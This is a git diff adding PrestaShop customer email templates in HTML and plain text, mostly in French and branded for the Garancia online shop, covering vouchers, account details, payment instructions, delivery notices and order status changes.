            + + \ No newline at end of file diff --git a/themes/default/mails/en/test.txt b/themes/default/mails/en/test.txt new file mode 100755 index 0000000..65c96e5 --- /dev/null +++ b/themes/default/mails/en/test.txt @@ -0,0 +1,8 @@ +Hello, + +This is a test e-mail from your PrestaShopâ„¢ online shop. + +If you can read this, the test was successful! + +Regards, +{shop_name} powered by PrestaShopâ„¢ \ No newline at end of file diff --git a/themes/default/mails/en/voucher.html b/themes/default/mails/en/voucher.html new file mode 100755 index 0000000..b681b10 --- /dev/null +++ b/themes/default/mails/en/voucher.html @@ -0,0 +1,46 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Hi {firstname} {lastname},
             
            Your order with the reference {order_name} - Voucher created
             
            A voucher has been created in your name as a result of your order with the reference {order_name}.
             
            Voucher code: {voucher_num}, in the amount of {voucher_amount}.
            Simply copy/paste this code during the payment process for your next order.
             
            {shop_name} powered by PrestaShop™
            + + \ No newline at end of file diff --git a/themes/default/mails/en/voucher.txt b/themes/default/mails/en/voucher.txt new file mode 100755 index 0000000..2b0acdd --- /dev/null +++ b/themes/default/mails/en/voucher.txt @@ -0,0 +1,13 @@ +Hi {firstname} {lastname}, + +A voucher has been created in your name as a result of your order with the reference {order_name}. + +Voucher code: {voucher_num}, in the amount of {voucher_amount}. + +Simply copy/paste this code during the payment process for your next order. + +Thank you for shopping at {shop_name}. + +{shop_name} - {shop_url} + +{shop_url} powered by PrestaShop™ \ No newline at end of file diff --git a/themes/default/mails/en/voucher_new.html b/themes/default/mails/en/voucher_new.html new file mode 100755 index 0000000..b6d322a --- /dev/null +++ b/themes/default/mails/en/voucher_new.html @@ -0,0 +1,40 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Hi {firstname} {lastname},
             
            This is to inform you about the creation of a voucher.
             
            Here is the code of your voucher : {voucher_num}.
            Simply copy/paste this code during the payment process for your next order.
             
            {shop_name} 
            + + \ No newline at end of file diff --git a/themes/default/mails/en/voucher_new.txt b/themes/default/mails/en/voucher_new.txt new file mode 100755 index 0000000..88099b8 --- /dev/null +++ b/themes/default/mails/en/voucher_new.txt @@ -0,0 +1,14 @@ +Hi {firstname} {lastname}, + +This is to inform you about the creation of a voucher. + +Here is the code of your voucher : {voucher_num}. + +Simply copy/paste this code during the payment process for your next order. + +Thank you for shopping at {shop_name}. + +{shop_name} - {shop_url} + + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/fr/aMRdispo.html b/themes/default/mails/fr/aMRdispo.html new file mode 100755 index 0000000..c15f9ef --- /dev/null +++ b/themes/default/mails/fr/aMRdispo.html @@ -0,0 +1,61 @@ + + + + + Votre commande Garancia est disponible en Point Relais + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname},
             
            Nous avons le plaisir de vous informer que votre colis Garancia est disponible dans votre Point Relais :
             
            {adresse_point_relais}
            Vous disposez de 8 jours pour retirer votre colis, passé ce délai il sera retourné à l’expéditeur.
             
            Votre colis vous sera remis sur présentation d’une pièce d’identité. Une personne de votre choix peut également le retirer. Cette personne devra impérativement se présenter avec votre pièce d’identité et la sienne.
             
            Pour toutes questions concernant votre commande, n’hésitez pas à nous contacter à l’adresse mail suivante : suivicommande@garancia-beauty.com
             
            Nous vous remercions de votre confiance et espérons vous revoir très prochainement sur www.garancia-beauty.com
            Magiquement vôtre,
            L'équipe Garancia
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/aMRdispo.txt b/themes/default/mails/fr/aMRdispo.txt new file mode 100755 index 0000000..72fec4d --- /dev/null +++ b/themes/default/mails/fr/aMRdispo.txt @@ -0,0 +1,14 @@ +Bonjour {firstname} {lastname}, + +Nous avons le plaisir de vous informer que votre colis Garancia est disponible dans votre Point Relais : + +{adresse_point_relais} +Vous disposez de 8 jours pour retirer votre colis, passé ce délai il sera retourné à l’expéditeur. + +Votre colis vous sera remis sur présentation d’une pièce d’identité. Une personne de votre choix peut également le retirer. Cette personne devra impérativement se présenter avec votre pièce d’identité et la sienne. + +Pour toutes questions concernant votre commande, n’hésitez pas à nous contacter à l’adresse mail suivante : suivicommande@garancia-beauty.com + +Nous vous remercions de votre confiance et espérons vous revoir très prochainement sur www.garancia-beauty.com +Magiquement vôtre, +L'équipe Garancia \ No newline at end of file diff --git a/themes/default/mails/fr/account.html b/themes/default/mails/fr/account.html new file mode 100755 index 0000000..67d98c0 --- /dev/null +++ b/themes/default/mails/fr/account.html @@ -0,0 +1,46 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname},
             
            Merci d'avoir créé un compte sur {shop_name}. Voici un rappel de vos codes d'accès.
             
            Adresse e-mail : {email}
            Mot de passe : {passwd}
             
            Vous pouvez dès à présent passer commande sur notre site internet {shop_name}.
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/account.txt b/themes/default/mails/fr/account.txt new file mode 100755 index 0000000..88cf236 --- /dev/null +++ b/themes/default/mails/fr/account.txt @@ -0,0 +1,12 @@ +Merci d'avoir créé votre compte client sur {shop_name}, vous trouverez dans ce message un rappel de vos codes d'accès. + +Vos codes d'accès : + +Adresse électronique : {email} +Mot de passe : {passwd} + +Vous pouvez dès à présent passer commande sur notre site Internet : +{shop_url} + + + diff --git a/themes/default/mails/fr/backoffice_order.html b/themes/default/mails/fr/backoffice_order.html new file mode 100755 index 0000000..5a3d152 --- /dev/null +++ b/themes/default/mails/fr/backoffice_order.html @@ -0,0 +1,40 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname},
             
            Une nouvelle commande vous a été générée.
             
            Rendez vous sur {order_link} pour finaliser le paiement.
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/backoffice_order.txt b/themes/default/mails/fr/backoffice_order.txt new file mode 100755 index 0000000..ac7a176 --- /dev/null +++ b/themes/default/mails/fr/backoffice_order.txt @@ -0,0 +1,9 @@ +Bonjour {firstname} {lastname}, + +Une nouvelle commande vous a été générée. + +Rendez vous sur cette adresse pour finaliser le paiement : {order_link} + +{shop_name} - {shop_url} + +{shop_url} diff --git a/themes/default/mails/fr/bankwire.html b/themes/default/mails/fr/bankwire.html new file mode 100755 index 0000000..9ca97df --- /dev/null +++ b/themes/default/mails/fr/bankwire.html @@ -0,0 +1,55 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname},
             
            Historique de votre commande ayant pour référence {order_name}.
             
            Nous avons bien enregistré votre commande ayant pour référence {order_name}. Celle-ci vous sera envoyée dès réception de votre paiement.
             
            Pour rappel, vous avez sélectionné le mode de paiement par virement bancaire et celui-ci est à envoyer à :

            {bankwire_owner}

            {bankwire_details}

            {bankwire_address}

            Le montant total est de {total_paid}
             
            Vous pouvez accéder au suivi de votre commande et télécharger votre facture dans "Historique des commandes" de la rubrique "Mon compte" sur notre site.
             
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/bankwire.txt b/themes/default/mails/fr/bankwire.txt new file mode 100755 index 0000000..666591b --- /dev/null +++ b/themes/default/mails/fr/bankwire.txt @@ -0,0 +1,22 @@ +Bonjour {firstname} {lastname}, + +Nous avons bien enregistré votre commande ayant pour référence {order_name}. Celle-ci vous sera envoyée dès réception de votre paiement. +Pour rappel, vous avez sélectionné le mode de paiement par virement bancaire et celui-ci est à envoyer à : + +{bankwire_owner} + +{bankwire_details} + +{bankwire_address} + +Le montant total est de {total_paid} + +Vous pouvez accéder à tout moment au suivi de votre commande et télécharger votre facture dans "Historique des commandes" de la rubrique "Mon compte" sur notre site {shop_url} + + +Merci et à bientôt sur {shop_name}. + +{shop_name} - {shop_url} + + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/fr/cheque.html b/themes/default/mails/fr/cheque.html new file mode 100755 index 0000000..ac8a3b1 --- /dev/null +++ b/themes/default/mails/fr/cheque.html @@ -0,0 +1,55 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname},
             
            Historique de votre commande ayant pour référence {order_name}.
             
            Nous avons bien enregistré votre commande ayant pour référence {order_name}. Celle-ci vous sera envoyée dès réception de votre paiement.
             
            Pour rappel, vous avez choisi de régler votre commande par chèque, merci de nous transmettre votre règlement :

            - d'un montant de {total_paid}

            - à l'ordre de {cheque_name}

            - à {cheque_address_html}
             
            Vous pouvez accéder au suivi de votre commande et télécharger votre facture dans "Historique des commandes" de la rubrique "Mon compte" sur notre site.
            Si vous avez un compte invité, vous pouvez suivre votre commande dans la section "Suivi invité" de notre site.
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/cheque.txt b/themes/default/mails/fr/cheque.txt new file mode 100755 index 0000000..87762e2 --- /dev/null +++ b/themes/default/mails/fr/cheque.txt @@ -0,0 +1,21 @@ +Bonjour {firstname} {lastname}, + +Nous avons bien enregistré votre commande ayant pour référence {order_name}. +Celle-ci vous sera envoyée dès réception de votre paiement. + +Pour rappel, vous avez choisi de régler votre commande par chèque, merci de nous transmettre votre règlement : + +- d'un montant de {total_paid} + +- à l'ordre de {cheque_name} + +- à {cheque_address} + +Vous pouvez accéder à tout moment au suivi de votre commande et télécharger votre facture dans "Historique des commandes" de la rubrique "Mon compte" sur notre site {shop_url} + + +{shop_name} - {shop_url} + + + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/fr/commandecommentaire.html b/themes/default/mails/fr/commandecommentaire.html new file mode 100755 index 0000000..9b89d1b --- /dev/null +++ b/themes/default/mails/fr/commandecommentaire.html @@ -0,0 +1,52 @@ + + + + + Votre commande Garancia a été livrée + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname},
             
            Nous avons le plaisir de vous informer que l'état de votre colis Garancia a évolué :
            {commentaire}
             
            Vous pouvez suivre l'état de votre commande en vous connectant à votre espace personnel
             
            Pour toute question concernant votre commande, n’hésitez pas à nous contacter directement à l'adresse mail suivante : suivicommande@garancia-beauty.com, nous serons ravis de vous aider.
            Nous espérons que votre colis illuminera votre journée,
            Magiquement vôtre,
            L'équipe Garancia
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/commandecommentaire.txt b/themes/default/mails/fr/commandecommentaire.txt new file mode 100755 index 0000000..5d6a1c4 --- /dev/null +++ b/themes/default/mails/fr/commandecommentaire.txt @@ -0,0 +1,10 @@ +Bonjour {firstname} {lastname}, + +Nous avons le plaisir de vous informer que l'état de votre colis Garancia a évolué : +{commentaire} + +Pour toute question concernant votre commande, n’hésitez pas à nous contacter directement à l’adresse mail suivante : suivicommande@garancia-beauty.com, nous serons ravis de vous aider. + +Nous espérons que votre colis illuminera votre journée, +Magiquement vôtre, +L’équipe Garancia \ No newline at end of file diff --git a/themes/default/mails/fr/contact.html b/themes/default/mails/fr/contact.html new file mode 100755 index 0000000..107f3d8 --- /dev/null +++ b/themes/default/mails/fr/contact.html @@ -0,0 +1,71 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
               
              {shop_name}  
               
            {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            Bonjour,
            Vous avez reçu un message de la part d'un client depuis votre boutique {shop_name}.
             
            Information :
            {contact_civilite} {contact_nom} {contact_prenom}
            {contact_adresse}
            {contact_cp} {contact_ville}
            {contact_pays}
            {contact_tel}
            {email}
             
            Message :
            {message}
             
            {shop_name}
            Copyright © 2015 Laboratoire Garancia, Tous Droits Réservés
            Laboratoire Garancia 18 Avenue du Recteur Poincaré Paris 75016 France
            +
            {shop_name}
             
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/contact.txt b/themes/default/mails/fr/contact.txt new file mode 100755 index 0000000..b76e6d1 --- /dev/null +++ b/themes/default/mails/fr/contact.txt @@ -0,0 +1,11 @@ +Vous avez reçu un message de la part d'un client depuis votre boutique {shop_name} + +Informations + +Adresse électronique : {email} + +Message + +{message} + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/fr/contact_form.html b/themes/default/mails/fr/contact_form.html new file mode 100755 index 0000000..b85fc2e --- /dev/null +++ b/themes/default/mails/fr/contact_form.html @@ -0,0 +1,65 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
               
              {shop_name}  
               
            {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            Bonjour,
            Nous vous remercions de votre intérêt pour le Laboratoire Garancia et vous confirmons la bonne réception de votre message.
             
            Votre message :
            {message}
             
            Nos vous répondrons dans les plus brefs délais
            L'équipe Garancia
            {shop_name}
            Copyright © 2015 Laboratoire Garancia, Tous Droits Réservés
            Laboratoire Garancia 18 Avenue du Recteur Poincaré Paris 75016 France
            +
            {shop_name}
             
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/contact_form.txt b/themes/default/mails/fr/contact_form.txt new file mode 100755 index 0000000..72e24cc --- /dev/null +++ b/themes/default/mails/fr/contact_form.txt @@ -0,0 +1,15 @@ +Votre message a bien été envoyé à notre service client. + +Votre message : + +{message} + +Référence commande : {order_name} + +Fichier attaché : {attached_file} + +Nous vous répondrons dés que possible. + +Cordialement, + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/fr/credit_slip.html b/themes/default/mails/fr/credit_slip.html new file mode 100755 index 0000000..fc2164d --- /dev/null +++ b/themes/default/mails/fr/credit_slip.html @@ -0,0 +1,46 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname},
             
            Historique de votre commande ayant pour référence {order_name}.
             
            Nous vous informons de la génération d'un avoir à votre nom relatif à votre commande ayant pour référence {order_name}.
             
            Vous pouvez accéder à cet avoir et télécharger votre facture dans "Suivi des commandes" de la rubrique "Mon compte" sur notre site.
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/credit_slip.txt b/themes/default/mails/fr/credit_slip.txt new file mode 100755 index 0000000..ab1dd56 --- /dev/null +++ b/themes/default/mails/fr/credit_slip.txt @@ -0,0 +1,12 @@ +Bonjour {firstname} {lastname}, + +Nous vous informons de la génération d'un avoir à votre nom relatif à votre commande ayant pour référence {order_name}. + +Vous pouvez accéder à cet avoir et télécharger votre facture dans "Historique des commandes" de la rubrique "Mon compte" sur notre site {shop_url} + +Merci et à bientôt sur {shop_name}. + +{shop_name} - {shop_url} + + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/fr/diagnostic.html b/themes/default/mails/fr/diagnostic.html new file mode 100755 index 0000000..6ef964e --- /dev/null +++ b/themes/default/mails/fr/diagnostic.html @@ -0,0 +1,40 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Votre Diagnostic Garancia
             
            Vous venez de recevoir votre diagnostic en pièce jointe

            Vous pouvez télécharger le fichier en cliquant ici : {attached_file}
             
            Merci pour votre fidélité
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/diagnostic.txt b/themes/default/mails/fr/diagnostic.txt new file mode 100755 index 0000000..cab341f --- /dev/null +++ b/themes/default/mails/fr/diagnostic.txt @@ -0,0 +1,12 @@ +Votre message a bien été envoyé à notre service client. + +Votre message : + +{message} + + +Nous vous répondrons dés que possible. + +Cordialement, + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/fr/download_product.html b/themes/default/mails/fr/download_product.html new file mode 100755 index 0000000..4034a30 --- /dev/null +++ b/themes/default/mails/fr/download_product.html @@ -0,0 +1,55 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname},
             
            Produits à télécharger
             
            Vous avez {nbProducts} produit(s) à télécharger.
             
            Voici les liens directs vers ceux-ci : {virtualProducts}
             
            Vous pouvez accéder au suivi de votre commande et télécharger votre facture dans "Historique des commandes" de la rubrique "Mon compte" sur notre site.
             
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/download_product.txt b/themes/default/mails/fr/download_product.txt new file mode 100755 index 0000000..2b1be36 --- /dev/null +++ b/themes/default/mails/fr/download_product.txt @@ -0,0 +1,12 @@ +Bonjour {firstname} {lastname}, merci d'avoir passé commande chez {shop_name} ! + +Vous avez {nbProducts} produit(s) à télécharger. + +Voici les liens directs vers ceux-ci : +{virtualProducts} + + +Vous pouvez accéder au suivi de votre commande et télécharger votre facture dans "Historique des commandes" de la rubrique "Mon compte" sur notre site. + + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/fr/employee_password.html b/themes/default/mails/fr/employee_password.html new file mode 100755 index 0000000..4f1d553 --- /dev/null +++ b/themes/default/mails/fr/employee_password.html @@ -0,0 +1,40 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname},
             
            Voici vos informations personnelles
             
            Prénom : {firstname}
            Nom : {lastname}
            Mot de passe : {passwd}
            Adresse électronique : {email}
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/employee_password.txt b/themes/default/mails/fr/employee_password.txt new file mode 100755 index 0000000..8c64fa6 --- /dev/null +++ b/themes/default/mails/fr/employee_password.txt @@ -0,0 +1,15 @@ +Bonjour {firstname} {lastname}, + +Voici les informations personnelles concernant votre nouvelle boutique {shop_name} : + +Prénom : {firstname} +Nom : {lastname} +Mot de passe : {passwd} +Adresse électronique : {email} + + +{shop_name} - {shop_url} + + + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/fr/forward_msg.html b/themes/default/mails/fr/forward_msg.html new file mode 100755 index 0000000..39342dd --- /dev/null +++ b/themes/default/mails/fr/forward_msg.html @@ -0,0 +1,16 @@ + + + + + Message de {shop_name} + + + + + + + + +
            {employee} souhaite vous transférer cette discussion.

            {messages}

            {employee} a ajouté "{comment}".
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/forward_msg.txt b/themes/default/mails/fr/forward_msg.txt new file mode 100755 index 0000000..b270a4e --- /dev/null +++ b/themes/default/mails/fr/forward_msg.txt @@ -0,0 +1,5 @@ +{employee} souhaite vous transférer cette discussion. +Commentaire : {comment} + +{messages} + diff --git a/themes/default/mails/fr/fr.php b/themes/default/mails/fr/fr.php new file mode 100755 index 0000000..cb57d27 --- /dev/null +++ b/themes/default/mails/fr/fr.php @@ -0,0 +1,4 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname},
             
            Votre compte invité a été transformé en compte client
             
            Adresse e-mail : {email}
            Mot de passe : {passwd}
            Vous pouvez accéder à votre compte sur notre site Internet : {shop_url}
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/guest_to_customer.txt b/themes/default/mails/fr/guest_to_customer.txt new file mode 100755 index 0000000..20c611a --- /dev/null +++ b/themes/default/mails/fr/guest_to_customer.txt @@ -0,0 +1,13 @@ +Bonjour {firstname} {lastname}, + +Votre compte invité a été transformé en compte client + +Adresse électronique : {email} +Mot de passe : {passwd} + +Vous pouvez accéder à votre compte sur notre site Internet : +{shop_url} + + + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/fr/in_transit.html b/themes/default/mails/fr/in_transit.html new file mode 100755 index 0000000..6af03af --- /dev/null +++ b/themes/default/mails/fr/in_transit.html @@ -0,0 +1,55 @@ + + + + + Votre commande Garancia est en route + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname},
             
            Historique de votre commande ayant pour référence {order_name}
             
            La livraison de votre commande est en cours.
             
            Vous pouvez suivre l'avancement de la livraison à l'adresse suivante : {followup}
             
            Vous pouvez accéder au suivi de votre commande et télécharger votre facture dans "Historique des commandes" de la rubrique "Mon compte" sur notre site.
             
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/in_transit.txt b/themes/default/mails/fr/in_transit.txt new file mode 100755 index 0000000..899159c --- /dev/null +++ b/themes/default/mails/fr/in_transit.txt @@ -0,0 +1,13 @@ +Bonjour {firstname} {lastname}, + +La livraison de votre commande est en cours. + +Vous pouvez suivre l'avancement de la livraison à l'adresse suivante : {followup} + +Vous pouvez accéder à tout moment au suivi de votre commande dans "Historique de mes commandes" de la rubrique "Mon compte" sur notre site. + +{shop_name} - {shop_url} + + + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/fr/lang.php b/themes/default/mails/fr/lang.php new file mode 100755 index 0000000..4fd8bb1 --- /dev/null +++ b/themes/default/mails/fr/lang.php @@ -0,0 +1,24 @@ + \ No newline at end of file diff --git a/themes/default/mails/fr/livree.html b/themes/default/mails/fr/livree.html new file mode 100755 index 0000000..aa03deb --- /dev/null +++ b/themes/default/mails/fr/livree.html @@ -0,0 +1,49 @@ + + + + + Votre commande Garancia a été livrée + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname},
             
            Nous avons le plaisir de vous informer que votre colis Garancia a été livré
             
            Vous pouvez suivre l'état de votre commande en vous connectant à votre espace personnel
             
            Pour toutes questions concernant votre commande, n’hésitez pas à nous contacter directement à l'adresse mail suivante : suivicommande@garancia-beauty.com, nous serons ravis de vous aider.
            Nous espérons que votre colis illuminera votre journée,
            Magiquement vôtre,
            L'équipe Garancia
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/livree.txt b/themes/default/mails/fr/livree.txt new file mode 100755 index 0000000..044f498 --- /dev/null +++ b/themes/default/mails/fr/livree.txt @@ -0,0 +1,12 @@ +Bonjour {firstname} {lastname}, + +Nous avons le plaisir de vous informer que votre colis Garancia a été livré. + +Vous allez le recevoir très prochainement. +Vous pouvez suivre l’état de votre commande en vous connectant à votre espace personnel + +Pour toutes questions concernant votre commande, n’hésitez pas à nous contacter directement à l’adresse mail suivante : suivicommande@garancia-beauty.com, nous serons ravis de vous aider. + +Nous espérons que votre colis illuminera votre journée, +Magiquement vôtre, +L’équipe Garancia \ No newline at end of file diff --git a/themes/default/mails/fr/log_alert.html b/themes/default/mails/fr/log_alert.html new file mode 100755 index 0000000..8edcbef --- /dev/null +++ b/themes/default/mails/fr/log_alert.html @@ -0,0 +1,46 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour,
             
            Nouveau message d'alerte enregistré
             
            Malheureusement, un message d'alerte a été enregistré
             
            Vous pouvez voir ce message dans votre Panneau d'administration > Outils > Log
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/log_alert.txt b/themes/default/mails/fr/log_alert.txt new file mode 100755 index 0000000..25476ee --- /dev/null +++ b/themes/default/mails/fr/log_alert.txt @@ -0,0 +1,11 @@ +Bonjour, + +Nouveau message d'alerte enregistré. + +Malheureusement, un message d'alerte a été enregistré. + +Vous pouvez voir ce message dans votre Panneau d'administration > Outils > Log. + +{shop_name} - {shop_url} + +{shop_url} diff --git a/themes/default/mails/fr/mondialrelaydispo.html b/themes/default/mails/fr/mondialrelaydispo.html new file mode 100755 index 0000000..61964e3 --- /dev/null +++ b/themes/default/mails/fr/mondialrelaydispo.html @@ -0,0 +1,70 @@ + + + + + Votre commande Garancia est disponible en Point Relais + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname},
             
            Nous avons le plaisir de vous informer que votre colis Garancia est disponible dans votre Point Relais :
             
            {adresse_point_relais}
            Vous disposez de 8 jours pour retirer votre colis, passé ce délai il sera retourné à l’expéditeur.
             
            Votre colis vous sera remis sur présentation d’une pièce d’identité. Une personne de votre choix peut également le retirer. Cette personne devra impérativement se présenter avec votre pièce d’identité et la sienne.
             
            Pour toutes questions concernant votre commande, n’hésitez pas à nous contacter à l’adresse mail suivante : suivicommande@garancia-beauty.com
             
            Vous pouvez suivre l'état de votre commande en vous connectant à votre espace personnel
             
            Pour toutes questions concernant votre commande, n’hésitez pas à nous contacter directement à l'adresse mail suivante : suivicommande@garancia-beauty.com, nous serons ravis de vous aider.
            Nous vous remercions de votre confiance et espérons vous revoir très prochainement sur www.garancia-beauty.com
            Magiquement vôtre,
            L'équipe Garancia
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/mondialrelaydispo.txt b/themes/default/mails/fr/mondialrelaydispo.txt new file mode 100755 index 0000000..8250c19 --- /dev/null +++ b/themes/default/mails/fr/mondialrelaydispo.txt @@ -0,0 +1,10 @@ +Bonjour {firstname} {lastname}, + +Nous avons le plaisir de vous informer que l'état de votre colis Garancia a évolué : +{commentaire} + +Pour toutes questions concernant votre commande, n’hésitez pas à nous contacter directement à l’adresse mail suivante : suivicommande@garancia-beauty.com, nous serons ravis de vous aider. + +Nous espérons que votre colis illuminera votre journée, +Magiquement vôtre, +L’équipe Garancia \ No newline at end of file diff --git a/themes/default/mails/fr/newsletter.html b/themes/default/mails/fr/newsletter.html new file mode 100755 index 0000000..77aeaa4 --- /dev/null +++ b/themes/default/mails/fr/newsletter.html @@ -0,0 +1,34 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Newsletter de {shop_name}
             
            {message}
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/newsletter.txt b/themes/default/mails/fr/newsletter.txt new file mode 100755 index 0000000..7c945fd --- /dev/null +++ b/themes/default/mails/fr/newsletter.txt @@ -0,0 +1,9 @@ +Newsletter de {shop_name} + +Message + +{message} + + + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/fr/offrefidelite.html b/themes/default/mails/fr/offrefidelite.html new file mode 100755 index 0000000..198d4d9 --- /dev/null +++ b/themes/default/mails/fr/offrefidelite.html @@ -0,0 +1,41 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Offre de fidélité Garancia
             
            Vous venez de recevoir l'offre de fidélité en pièce jointe +

            Vous pouvez télécharger le fichier en cliquant ici : {attached_file}
             
            Merci pour votre fidélité
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/offrefidelite.txt b/themes/default/mails/fr/offrefidelite.txt new file mode 100755 index 0000000..85ed3ea --- /dev/null +++ b/themes/default/mails/fr/offrefidelite.txt @@ -0,0 +1,15 @@ +Votre message a bien été envoyé à notre service client. + +Votre message : + +{message} + +Référence commande : {order_name} + +Fichier attaché : {attached_file} + +Nous vous répondrons dés que possible. + +Cordialement, + +{shop_url} réalisé avec PrestaShop™ \ No newline at end of file diff --git a/themes/default/mails/fr/order_canceled.html b/themes/default/mails/fr/order_canceled.html new file mode 100755 index 0000000..2cb4d27 --- /dev/null +++ b/themes/default/mails/fr/order_canceled.html @@ -0,0 +1,49 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname},
             
            Historique de votre commande ayant pour référence {order_name}
             
            Votre commande a été annulée.
             
            Vous pouvez accéder au suivi de votre commande et télécharger votre facture dans "Historique des commandes" de la rubrique "Mon compte" sur notre site.
             
             
            {shop_name}
            + + \ No newline at end of file diff --git a/themes/default/mails/fr/order_canceled.txt b/themes/default/mails/fr/order_canceled.txt new file mode 100755 index 0000000..6279061 --- /dev/null +++ b/themes/default/mails/fr/order_canceled.txt @@ -0,0 +1,11 @@ +Bonjour {firstname} {lastname}, + +Votre commande ayant pour référence {order_name} a été annulée. + +Vous pouvez accéder à tout moment au suivi de votre commande dans "Historique des commandes" de la rubrique "Mon compte" sur notre site {shop_name}. + +{shop_name} - {shop_url} + + + +{shop_url} \ No newline at end of file diff --git a/themes/default/mails/fr/order_changed.html b/themes/default/mails/fr/order_changed.html new file mode 100755 index 0000000..88f9f22 --- /dev/null +++ b/themes/default/mails/fr/order_changed.html @@ -0,0 +1,49 @@ + + + + + Message de {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
            {shop_name}
             
            Bonjour {firstname} {lastname},
             
            Historique de votre commande ayant pour référence {order_name}
             
            Votre commande a été a été modifiée par le marchand.
             
            Vous pouvez consulter votre commande et télécharger votre facture dans "Historique des commandes" de la rubrique "Mon compte" sur notre site.
             
             
            {shop_name}
